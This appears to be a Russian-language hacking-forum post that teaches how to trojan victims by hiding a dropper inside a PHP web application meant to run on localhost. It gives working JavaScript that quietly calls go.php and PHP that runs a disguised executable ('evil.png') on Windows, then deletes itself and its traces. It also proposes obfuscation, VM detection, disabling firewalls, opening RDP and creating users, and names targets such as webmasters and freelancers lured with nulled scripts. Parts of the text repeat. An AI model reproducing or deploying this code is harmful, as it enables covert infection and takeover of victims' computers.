- Регистрация
- 30.11.14
- Сообщения
- 5
- Реакции
- 35
- Баллы
- 24
Для того, чтобы затроянить кого-то с помощью php, нам нужен скрипт-донор, троян и 2 файла. Наша жертва должна запустить скрипт на локалкхосте (Denwer, AMPPS, AppServ, EasyPHP, Nimp, Xampp и т.д.). Обязательно указывайте, что надо протестировать софт на локалке (особенно, если встраиваете в нулл), либо встраивайте троян в скрипты, которые предполагается запускать только на локалхосте.
Нам нужно:
1. script.js
2. go.php
3. evil.png (троян с измененным расширением)
4. Веб-приложение донор.
Инклюдим в донора файл script.js:
Вы можете вставить приведенный выше кусок текста в любой js-скрипт, используемый приложением которое мы трояним. В этом коде посылается ajax-запрос на некий скрипт под названием go.php. Теперь посмотрим, что находится в скрипте go.php:
Концепция думаю понятна. Результат (вместо запуска трояна - exec('calc.exe')):
Что можно еще сделать/добавить? Одепты уже догадались:
Разумеется для большей беспалевности, можно менять названия файлов, прятать их во вложенные папки и т.д. При желании, можно впихнуть все в один файл (троян, js, php), можно обойтись без троянов – создать юзера, открыть доступ по RDP, отправить на гейт IP.
Кто может стать целью?
Нам нужно:
1. script.js
2. go.php
3. evil.png (троян с измененным расширением)
4. Веб-приложение донор.
Инклюдим в донора файл script.js:
Код:
// чтобы работал ajax
function getXmlHttp(){
var xmlhttp;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}
// Запуск скрипта go.php.
//###start456789
var x = getXmlHttp(); x.open('GET', '/go.php', true);
x.onreadystatechange = function() {
if (x.readyState == 4) {if(x.status == 200) {}}};
x.send(null);
//###end456789
//Любой код далее
Код:
<?php
//удаляем этот скрипт
unlink('go.php');
//Чистим следы в script.js
$source = file_get_contents('script.js');
preg_replace ("//###start456789[\s|\S]*//###end456789","",$source);
$fh = fopen('script.js','w');
fwrite($fh, $source);
fclose($fh);
//Работаем только на win
$pos =strpos(php_uname(), "Win");
if($pos !== False){
exec('evil.png');
}
//удаляем троян, если он сам не удалился или мы не на винде
unlink('evil.png');
Что можно еще сделать/добавить? Одепты уже догадались:
- Обфускация скриптов
- Сборка трояна из нескольких файлов
- Запуск трояна из запароленного архива
- Проверка доступа к интернету
- Проверка на запуск в виртуальных машинах
- Используем командную строку на всю катушку (отключаем файрволл, открываем telnet, rdp, smb, создаем нового пользователя и т.д.)
- Если функция exec запрещена, пробуем использовать другие (system, passthru, proc_open, shell_exec, popen…)
- Добавить некие действия, если скрипт запускается под linux, macOS.
Разумеется для большей беспалевности, можно менять названия файлов, прятать их во вложенные папки и т.д. При желании, можно впихнуть все в один файл (троян, js, php), можно обойтись без троянов – создать юзера, открыть доступ по RDP, отправить на гейт IP.
Кто может стать целью?
- Вебмастера(легко встроить в дорген, спамилку, парсер, чекалку, нуленный скрипт, очередную кнопку “бабло”)
- Веб-студии, фрилансеры, быдлокодеры (под предлогом доработки “сайта”, скрипта)
- Школо-хеккеры (приватный менеджер шеллов, локальный генератор фейков, дамп форума и т.д.)
Последнее редактирование модератором: